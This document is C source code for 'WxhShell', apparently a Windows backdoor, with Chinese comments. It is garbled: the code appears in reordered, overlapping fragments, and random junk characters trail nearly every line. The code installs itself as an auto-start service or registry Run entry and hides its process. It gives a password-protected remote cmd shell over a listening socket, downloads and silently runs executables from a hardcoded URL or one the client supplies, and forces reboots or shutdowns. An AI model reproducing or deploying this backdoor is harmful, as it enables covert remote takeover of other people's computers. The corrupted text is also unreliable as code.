    if(Boot(SHUTDOWN)) ,NaV [ "9$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,<;l"v(  
    else { :\1rQT  
    closesocket(wsh); 5S|}:~7T  
    ExitThread(0); Io,/ +#|  
    } K)9j je  
    break; XDP6T"h  
    } D y`W5_xSz  
  // 获取shell lnS\5J  
  case 's': { SmT+L,:D  
    CmdShell(wsh); %S >xSqX  
    closesocket(wsh); =9DhO7I'  
    ExitThread(0); #|{BGVp  
    break; wL8bs- U  
  } 3xmiX{1e  
  // 退出 hkmTpH1<M  
  case 'x': { Pg*?[^*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2_oK 5*j  
    CloseIt(wsh); <t?x 'r?@  
    break; f"Z qA'KB#  
    } ";-{ ~  
  // 离开 $I)Tk`=  
  case 'q': { ;1{iF2jZ:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U,%s;  
    closesocket(wsh); 3JlC/v#0  
    WSACleanup(); 4cXAT9  
    exit(1); dxzvPgi?  
    break; LKK{j,g7  
        } N<L$gw+)$D  
  } F9m2C'U  
  } T8,k7 7  
" jl1.Ah  
  // 提示信息 u4Y6B ]Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .;<7424(%  
} $\0cJCQ3  
  } cwH,l$  
&%|xc{i  
  return; x\Nhix}1D  
} g6rv`I $l  
Du)B9s  
// shell模块句柄 bh=\  
int CmdShell(SOCKET sock) [=XZza.z  
{  O]e6i%?  
STARTUPINFO si; W@:^aH  
ZeroMemory(&si,sizeof(si)); #rhVzN-?)W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &M0o&C-1/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UlK/x"JDv  
PROCESS_INFORMATION ProcessInfo; 7ZF}0K$^B  
char cmdline[]="cmd"; k)$iK2I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,DE(5iDS  
  return 0; umJay />  
} ~GNyE*t/Y  
-0A@38, }  
// 自身启动模式 q:xtm?'$  
int StartFromService(void) bZxv/\  
{ qsI{ b<n  
typedef struct IetCMp  
{ eA`]K alH  
  DWORD ExitStatus; G!AICcP^  
  DWORD PebBaseAddress; Zk wJ.SuU  
  DWORD AffinityMask; b OW}"  
  DWORD BasePriority; , yTN$K%M  
  ULONG UniqueProcessId; w+Ad$4Pf"  
  ULONG InheritedFromUniqueProcessId; 5fU!'ajaN7  
}   PROCESS_BASIC_INFORMATION; 5r'=O2AZX  
1UC2zM"  
PROCNTQSIP NtQueryInformationProcess; Vz%"9`r  
H( MB5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !$xzA X,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k"t >He  
,Yo: &>As  
  HANDLE             hProcess; BeAk 21xb  
  PROCESS_BASIC_INFORMATION pbi; 3QH(4N  
yxqTm%?y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8^i\Y;6  
  if(NULL == hInst ) return 0; 6KVV z/  
n:F@gZd`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JAN|aCzD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '=$TyiU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~Hs=z$  
e "_&z# 2_  
  if (!NtQueryInformationProcess) return 0; W^wd ([  
?.8<-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dZF8 R  
  if(!hProcess) return 0; @sN^BX`z  
!!9{U%s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; se!g4XEWD  
{798=pC<.  
  CloseHandle(hProcess); %z=`JhE"Q  
}lH;[+u3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fD0{ 5  
if(hProcess==NULL) return 0; Dp^95V@  
)q^(T1  
HMODULE hMod; O /vWd "  
char procName[255]; T=.-Cl1A  
unsigned long cbNeeded; bZu$0IG  
kw3 +>{\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~bWhth2*  
ekrBNDs9  
  CloseHandle(hProcess); ::ri3Tu  
D]jkR} t  
if(strstr(procName,"services")) return 1; // 以服务启动 ]/a g*F  
&h\7^=s.  
  return 0; // 注册表启动 Gj)uy jct  
} z1#oW f{*  
)]3L/  
// 主模块 .3(;9};  
int StartWxhshell(LPSTR lpCmdLine) %oR>Uo  
{ Nvhy3  
  SOCKET wsl; ,2,W^HJ  
BOOL val=TRUE; Ep<YCSQy$i  
  int port=0; kwO eHdV^  
  struct sockaddr_in door; vsc&Ju%k  
3hLqAj  
  if(wscfg.ws_autoins) Install(); UUGe"]V^g:  
U[bgu#P;  
port=atoi(lpCmdLine); ^:+Rg}]W^  
ZRPE-l_3:  
if(port<=0) port=wscfg.ws_port; JS PW>W"  
RvR:e|  
  WSADATA data; g9`[Y~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k},>^qE  
e+l\\9v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vcwK6G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uS&LG#a  
  door.sin_family = AF_INET; ]H>+m 9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yZ5 x8 8>  
  door.sin_port = htons(port); <>n9'i1  
\1]rlzXGUT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `On3/gU|  
closesocket(wsl); /,LfA2^_j{  
return 1; ifvU"l  
} 'u1=XX h  
"ee'2O  
  if(listen(wsl,2) == INVALID_SOCKET) { TOrMXcn!/  
closesocket(wsl); 'g~@"9'oe  
return 1; bs BZ E  
} dl_{iMhF&E  
  Wxhshell(wsl); \q,s?`+B  
  WSACleanup(); 4~Dax)  
]x@~-I )  
return 0; F3Ap1-%z  
|Q5+l.%  
} M!#AfIyB  
gJk[Ja  
// 以NT服务方式启动 Hit Ac8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nP OO3!<{  
{ +aj^Cs1$  
DWORD   status = 0; `.[ 8$  
  DWORD   specificError = 0xfffffff; *Q5x1!#z #  
K#wK1 Sv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y1WHy *s?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R:f7LRF/\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _YLUS$Zw  
  serviceStatus.dwWin32ExitCode     = 0; 'bPk'pj9  
  serviceStatus.dwServiceSpecificExitCode = 0; Mi?}S6bp  
  serviceStatus.dwCheckPoint       = 0; GG+5/hU  
  serviceStatus.dwWaitHint       = 0; CL1 oAk  
AEqq1A   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c.0]1  
  if (hServiceStatusHandle==0) return; vd(dNu&,<  
Z%e|*GS{  
status = GetLastError(); t!0dJud  
  if (status!=NO_ERROR) $kl$D"*0  
{ R6<4"?*r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x2m]Us@LIU  
    serviceStatus.dwCheckPoint       = 0; A0>x9XSkJ  
    serviceStatus.dwWaitHint       = 0; `.8UKSH+  
    serviceStatus.dwWin32ExitCode     = status; `|?]CkP  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;ctU&`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X4'kZ'Sy<  
    return; i. M2E$b|  
  } :".w{0l@  
"{ FoA3g|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a_{6Qdl  
  serviceStatus.dwCheckPoint       = 0; uREu2T2  
  serviceStatus.dwWaitHint       = 0; qtY m!g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {R8=}Qo  
} >A=\8`T^  
/>F.Nsujy  
// 处理NT服务事件,比如:启动、停止 I7zn>^0}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VMF|iB  
{ ZF'HM@cfo  
switch(fdwControl) 8(Fu  
{ )$_,?*fq:  
case SERVICE_CONTROL_STOP: (tKMBxQo8  
  serviceStatus.dwWin32ExitCode = 0; o|rzN\WJn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {g_@Tuu  
  serviceStatus.dwCheckPoint   = 0; )8'jxiGs  
  serviceStatus.dwWaitHint     = 0; <[<247%  
  { PU Cx]5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Rarr  
  } nh0&'hA  
  return; 6pm~sD  
case SERVICE_CONTROL_PAUSE: +N R n0 z(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N"1 QX6  
  break; Y 1y E  
case SERVICE_CONTROL_CONTINUE: gQ+9xTd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ue!Q."  
  break; KTv4< c]  
case SERVICE_CONTROL_INTERROGATE: C0(sAF@  
  break; pBU]=[M0  
}; <+q$XL0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); " @)lH  
} P^zy;Qs7  
R@n5AN(  
// 标准应用程序主函数 )E-E0Hl>7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7Ud'd<  
{ +nQ!4  
iRs V#s  
// 获取操作系统版本 ?0z)EPQ|  
OsIsNt=GetOsVer(); GA@ Ue9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &I)\*Ue2t  
(yGQa5v  
  // 从命令行安装 O9e.=l  
  if(strpbrk(lpCmdLine,"iI")) Install(); u`6/I#q`  
liD47}+  
  // 下载执行文件 |D<+X^0'  
if(wscfg.ws_downexe) { )eq}MaW+j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "K ?#,_  
  WinExec(wscfg.ws_filenam,SW_HIDE); rS,j;8D-  
} ev"M;"y  
(: OHyeNt  
if(!OsIsNt) { )&z4_l8`=  
// 如果时win9x,隐藏进程并且设置为注册表启动 .YC;zn^  
HideProc(); (3O1?n[n  
StartWxhshell(lpCmdLine); QnU0"_-  
} WW6yFriuW  
else :~33U)?{T  
  if(StartFromService()) !0Nf9  
  // 以服务方式启动 PCZ]R  
  StartServiceCtrlDispatcher(DispatchTable); u>|"28y  
else QkE,T0,/?h  
  // 普通方式启动 `p1DaV  
  StartWxhshell(lpCmdLine); {82rne `[  
=qX*]  
return 0; v F[CWV.  
} ,R}Z=w#  
qguVaV4Y  
^6qjSfFW}  
A$<>JVv  
=========================================== lR}%)3_k  
3 Ta>Ki  
1LyT7h  
r{Z[xWIX  
MHl^/e@  
X'@f"=v9k  
" f?0D%pxc}&  
NQR^%<hU  
#include <stdio.h> ((cb4IX  
#include <string.h> !;+U_j'Pg  
#include <windows.h> P}l#VJWp  
#include <winsock2.h> `#U ]iwW!  
#include <winsvc.h> B.6`cM^  
#include <urlmon.h> 3KT_AJ4}  
H|K("AVP:  
#pragma comment (lib, "Ws2_32.lib") x ^[F]YU  
#pragma comment (lib, "urlmon.lib") pZ\$50t&O  
YLmjEs%  
#define MAX_USER   100 // 最大客户端连接数 ]?# #))RUS  
#define BUF_SOCK   200 // sock buffer EZ{/]gCK  
#define KEY_BUFF   255 // 输入 buffer \n;g2/VjO  
$l#{_~ "m7  
#define REBOOT     0   // 重启 y7La_FPrl  
#define SHUTDOWN   1   // 关机 CrO`=\  
ArL-rJ{}  
#define DEF_PORT   5000 // 监听端口 C d|W#.6  
niQcvnT4b  
#define REG_LEN     16   // 注册表键长度 u?Z <n:  
#define SVC_LEN     80   // NT服务名长度 D2)i3vFB  
{NV:|M!  
// 从dll定义API pX^=be_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0# l#,Y6#I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y<v|X2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (JU_8j!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /4-}k  
KqK9X  
// wxhshell配置信息 lZvS0JS  
struct WSCFG { ke^d8Z.  
  int ws_port;         // 监听端口 }\VX^{K j  
  char ws_passstr[REG_LEN]; // 口令 wB 2}uk7  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7O9n!aJ  
  char ws_regname[REG_LEN]; // 注册表键名 egWx9xX  
  char ws_svcname[REG_LEN]; // 服务名 B#:E?a;{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i3d y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "]UIz_^'`U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N|$5/bV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $N dH*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CdNih8uG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dxntGH< O  
jNIUsM 8e  
}; ([tG y  
D$mf5G &  
// default Wxhshell configuration %b9fW  
struct WSCFG wscfg={DEF_PORT, j)BQMtt&U  
    "xuhuanlingzhe", 716hpj#*  
    1, $Ba`VGP>)3  
    "Wxhshell",  +xq=<jy  
    "Wxhshell", U&s(1~e\  
            "WxhShell Service", ^9s"FdB]24  
    "Wrsky Windows CmdShell Service", (Wn "3 ]  
    "Please Input Your Password: ", 97(n\Wt 2  
  1, jP7w6sk E  
  "http://www.wrsky.com/wxhshell.exe", k5C>_( A  
  "Wxhshell.exe" _\!0t  
    }; @~hz_Nm@8  
5c)<'EP  
// 消息定义模块 rX:1_q`xA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {n6\g]p3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OFQ{9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VD9J}bgJ  
char *msg_ws_ext="\n\rExit."; ze ?CoDx2  
char *msg_ws_end="\n\rQuit."; n-W?Z'H{r  
char *msg_ws_boot="\n\rReboot..."; xp(mB7;:  
char *msg_ws_poff="\n\rShutdown..."; m qpd  
char *msg_ws_down="\n\rSave to "; [C2kK *JZ  
J7_8$B-j7  
char *msg_ws_err="\n\rErr!"; _En]@xK3&  
char *msg_ws_ok="\n\rOK!"; O8iu+}]/6  
!}y8S'Yjw  
char ExeFile[MAX_PATH]; uV!MW=)  
int nUser = 0; Ty.drM  
HANDLE handles[MAX_USER]; C5cFw/',  
int OsIsNt; 4sI3(z)9H  
"AV1..mu  
SERVICE_STATUS       serviceStatus; L+uOBW_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y5Ft96o))x  
S7Qen6lm  
// 函数声明 aam1tm#Q  
int Install(void); % 6"o8  
int Uninstall(void); Z5yt]-WN&  
int DownloadFile(char *sURL, SOCKET wsh); f x%z| K  
int Boot(int flag); $,g 3*A  
void HideProc(void); JtThkh'-"  
int GetOsVer(void); Dxz5NW4  
int Wxhshell(SOCKET wsl); )ynA:LXx  
void TalkWithClient(void *cs); py}.00it  
int CmdShell(SOCKET sock); E*h0#m|)  
int StartFromService(void);  on6<l  
int StartWxhshell(LPSTR lpCmdLine); p_A5C?&  
LciL/?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /E; ;j9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); an pJAB:1  
:~-)Sm+^  
// 数据结构和表定义 [f /v LLK  
SERVICE_TABLE_ENTRY DispatchTable[] = 4RlnnXY  
{ $>nkGb%Kp  
{wscfg.ws_svcname, NTServiceMain}, #/\pUK~km  
{NULL, NULL} U.d'a~pH  
}; 2LtU;}7s  
:v|r=#OI  
// 自我安装 WNCM|VUl  
int Install(void) xU#]w6  
{ Q9Q!9B @  
  char svExeFile[MAX_PATH]; e?_c[`sg  
  HKEY key; *Pa2bY3:  
  strcpy(svExeFile,ExeFile); FZM ]o  
C]aOgt/U  
// 如果是win9x系统,修改注册表设为自启动 ;bUJ+6f:  
if(!OsIsNt) { AM1/\R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (YaOh^T:|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #nxER   
  RegCloseKey(key); ';i"?D?NAk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C}t+t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^yzo!`)fso  
  RegCloseKey(key); fRZUY <t  
  return 0; ?{y:s!!  
    } >DSNKU+j  
  } Dwm@E\^ihm  
} /zChdjz  
else { U[K0{PbY  
AAeQ-nbP  
// 如果是NT以上系统,安装为系统服务 ?CcR 7l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w0q?\qEX  
if (schSCManager!=0) TmRrub  
{ yfRUTG  
  SC_HANDLE schService = CreateService ;m2"cL>{l  
  ( [)C)p*!Y)  
  schSCManager, hX{g]KE>  
  wscfg.ws_svcname, V{ 4i$'  
  wscfg.ws_svcdisp, WHhR )$zC  
  SERVICE_ALL_ACCESS, E.5*Jr=J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~;!i)[-  
  SERVICE_AUTO_START, GU;TK'Yy?  
  SERVICE_ERROR_NORMAL, y<IZ|f  
  svExeFile, o O{|C&A  
  NULL, ovo?lE-a0  
  NULL, 1FXzAc(c!  
  NULL, 5~<a>>  
  NULL, -KJ}.q>upq  
  NULL Z L6~Eut  
  ); 6T} CPDRq  
  if (schService!=0) <:kTTye|  
  { ,=q7}5o Y  
  CloseServiceHandle(schService); '6d D^0dZ  
  CloseServiceHandle(schSCManager); 'Wx\"]:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0pZ.; /<{  
  strcat(svExeFile,wscfg.ws_svcname); FrAqTz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2>_brz|7:|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0NuL9  
  RegCloseKey(key); + !E{L  
  return 0; zBrWm_R5T  
    } Le#E! sU  
  } qxecp2>U  
  CloseServiceHandle(schSCManager); `o^;fcnG  
} {Vt^Xc  
} #1,>Qnl  
lO5gkOJ?  
return 1; 7-G'8t  
} 4%#V^??E  
{C,1w  
// 自我卸载 TGt1d  
int Uninstall(void) i\DHIzGp[  
{ U#~nN+SIt  
  HKEY key; X-;Qorb^  
#%=vy\r  
if(!OsIsNt) { X{9JSq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zDGg\cPj9  
  RegDeleteValue(key,wscfg.ws_regname); R>YMGUH~w  
  RegCloseKey(key); %RT6~0z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y/eN)  
  RegDeleteValue(key,wscfg.ws_regname); DbNi;m  
  RegCloseKey(key); 9B?t3:  
  return 0; >1)@n3.<O  
  } ,N@Icl  
} YVg}q#  
} !Z0rTC3d  
else { {eD>E(Y@z1  
.xc/2:m9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 61Iy{-/ZV  
if (schSCManager!=0) :v WYI I7  
{ A86lyBDQ*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^hYR5SX  
  if (schService!=0) V~uA(3\U  
  { luxKgcU  
  if(DeleteService(schService)!=0) { Pu\DYP: (  
  CloseServiceHandle(schService); lj SR?:\  
  CloseServiceHandle(schSCManager); g$^qQs)^N  
  return 0; SUnmp  
  } J^+$L"K  
  CloseServiceHandle(schService); "<n"A7e  
  } -z~ V   
  CloseServiceHandle(schSCManager); {;(g[H=q;  
} ` S~@FX  
} YI\Cs=T/  
J-%PyvK$?  
return 1; [, szx1  
} Gp3t?7S{T  
a ~iEps  
// 从指定url下载文件 &+w!'LSaD  
int DownloadFile(char *sURL, SOCKET wsh) [m+O0VK$  
{ t;f p<z7N.  
  HRESULT hr; 6x3Ew2  
char seps[]= "/"; r1[T:B'  
char *token; *y\tnsU  
char *file; 2T2#HP  
char myURL[MAX_PATH]; -mYI[AG)  
char myFILE[MAX_PATH]; BaHg c 4zI  
g:e8i~  
strcpy(myURL,sURL); @LMV?  
  token=strtok(myURL,seps); 6;c{~$s~[  
  while(token!=NULL) qA_DQ):  
  { 2Lu{@*  
    file=token; E|A_|FS&%  
  token=strtok(NULL,seps); w.F3o4YP  
  } XxU}|jTO#  
P}u<NPy3Q  
GetCurrentDirectory(MAX_PATH,myFILE); :V1ZeNw  
strcat(myFILE, "\\"); laL4ez  
strcat(myFILE, file); Yiw^@T\H`  
  send(wsh,myFILE,strlen(myFILE),0); Mn{Rg>X  
send(wsh,"...",3,0); owVUL~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]{,=mOk  
  if(hr==S_OK) 21k-ob1Y  
return 0; e5\1k#@  
else eDZ3SIZ  
return 1; GKDG5u;  
yaGVY*M0  
} e&7}N Za  
W p* v Vv  
// 系统电源模块 9- <V%eNX  
int Boot(int flag) 6h*bcb#C  
{ bL#TR;*]  
  HANDLE hToken; ?#y<^oNM  
  TOKEN_PRIVILEGES tkp; k <Sa<  
x};g!FYfkB  
  if(OsIsNt) { 2/gj@>dt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }Nc!8'@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IHMyP~{  
    tkp.PrivilegeCount = 1; 5DBd [u3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M@86u^80  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 83(P_Y:  
if(flag==REBOOT) { ng6p#F,3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  o|im  
  return 0; {8Nd-WJ{  
} I:7,CV  
else { ?S7:KnU>K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QlXF:Gx"=  
  return 0; 6$;)CO!h  
} ~Q\ZDMTK  
  } {v'Fg  
  else { '0]_8Sy&  
if(flag==REBOOT) { !@ '2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F!t13%yeu?  
  return 0; } dlNMW  
} z Ns8\  
else { };sm8P{M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6Izv&  
  return 0; p=T\3_q  
} ^%@.Vvz<  
} "Jd1&FsCwX  
u^[v{hv'H  
return 1; c?Qg :yU  
} Om~C0  
?P]md9$(+e  
// win9x进程隐藏模块 b=l}|)a  
void HideProc(void) #8|NZ6x,  
{ jX,~iZ_B  
#nhAW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oOz6Er[KO  
  if ( hKernel != NULL ) &|;!St]!M  
  { RO8Ynm2 <  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ".Ug A\0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s3^SjZb  
    FreeLibrary(hKernel); xI8*sTx 6  
  } @jeV[N,0  
GTvb^+6  
return; y}`%I&]n  
} :gt wvM7/B  
_ji%BwJ  
// 获取操作系统版本 wH<*  
int GetOsVer(void) `9gx-')]\  
{ 3!x)LUWfWY  
  OSVERSIONINFO winfo; P.7B]&T6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9tQk/niMM5  
  GetVersionEx(&winfo); Z;:-8 HPDY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q4*cL5j  
  return 1; >6 q@Tr  
  else 2S/7f:  
  return 0; 8uiQm;W  
} N h%8;  
v0sX'>f  
// 客户端句柄模块 V5MbWXgR  
int Wxhshell(SOCKET wsl) &jcr7{cD  
{ Y8T.RS0  
  SOCKET wsh; ]CYe=m1<2Q  
  struct sockaddr_in client; bE"CSK#  
  DWORD myID; v/dcb%  
[u:_J qf-  
  while(nUser<MAX_USER) @<L.#gtP  
{ ly@CX((W  
  int nSize=sizeof(client); R,lr&;a8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [R$4n-$  
  if(wsh==INVALID_SOCKET) return 1; [<t*&Kr+o  
S;~_9i]upe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %LyB~X  
if(handles[nUser]==0) Pc<ZfO #  
  closesocket(wsh); teb(\% ,  
else " B1' K8  
  nUser++; KtE`L4tW6  
  } DS yE   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +zvK/Fj2q  
HZNX1aQ|Q#  
  return 0; |u[gI+TUE  
} <V{BRRx  
uJizR F  
// 关闭 socket ux=@"!PJ  
void CloseIt(SOCKET wsh) y-YYDEl  
{ 2Xosj(H  
closesocket(wsh); w]}v m-  
nUser--; 5:wf"3%%  
ExitThread(0); 0Sk{P>A  
} )? xg=o/?  
(,>`\\  
// 客户端请求句柄 G>j/d7  
void TalkWithClient(void *cs) vs +N{ V  
{ iBCM?RiG  
^H'#*b0u  
  SOCKET wsh=(SOCKET)cs; 6tM{cK%v1  
  char pwd[SVC_LEN]; _B2t|uQ  
  char cmd[KEY_BUFF]; 8}&cE#@  
char chr[1]; HDYf^mcW  
int i,j; 2mRso.Ah  
W!g ,  
  while (nUser < MAX_USER) { U w)1yzX  
1D$k:|pP~  
if(wscfg.ws_passstr) { &nq[Vy0kO4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S}<(9@]z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <mxUgU  
  //ZeroMemory(pwd,KEY_BUFF); fN9hBC@  
      i=0;  F#hM S<  
  while(i<SVC_LEN) { <"-sN  
xnArYm  
  // 设置超时 :?,& u,8  
  fd_set FdRead; +{s^"M2`  
  struct timeval TimeOut; }v:h EMO  
  FD_ZERO(&FdRead); W\Gg!XsLk  
  FD_SET(wsh,&FdRead); 6 -oQs?  
  TimeOut.tv_sec=8; Rj8l]m6U9  
  TimeOut.tv_usec=0; 0 [s1!Cm!i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =LC5o2bLy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *ULXJZ%  
',.Xn`c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;J4_8N-  
  pwd=chr[0]; )}EwEM  
  if(chr[0]==0xd || chr[0]==0xa) { ,Vogo5~X  
  pwd=0; QRRZMdEGs[  
  break; te`4*t  
  } yO !*pC  
  i++; {*: C$"L  
    } uJ%ql5XDV  
zd}"8  
  // 如果是非法用户,关闭 socket U_:/>8})d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $wBUu   
}  z\ \MLyS  
m~}nM|m%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I?1^\s#L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g}f@8;TY  
{BF$N#7  
while(1) { <fP|<>s$@1  
(|WqOwmoUt  
  ZeroMemory(cmd,KEY_BUFF); //`X+[bMG  
uQ{M<%K  
      // 自动支持客户端 telnet标准   dfNNCPu]+  
  j=0; 1PWDK1GI8  
  while(j<KEY_BUFF) { B${Q Y)t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Alrk3I3{  
  cmd[j]=chr[0]; m49)cK?  
  if(chr[0]==0xa || chr[0]==0xd) { ,i'>+Ix<  
  cmd[j]=0; bk V_ ^8  
  break; FvRog<3X  
  } Cjw|.c`  
  j++; J"|o g|Tz  
    } &n['#7 <(!  
1%>/%eyn5  
  // 下载文件 7r:!HmRl  
  if(strstr(cmd,"http://")) { . 8k9yk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5Ba eHzI  
  if(DownloadFile(cmd,wsh)) +"Ka #Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1B2>8 N  
  else xw`Pq6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]c*&5c$  
  } T$SGf.-  
  else { Mu TlN  
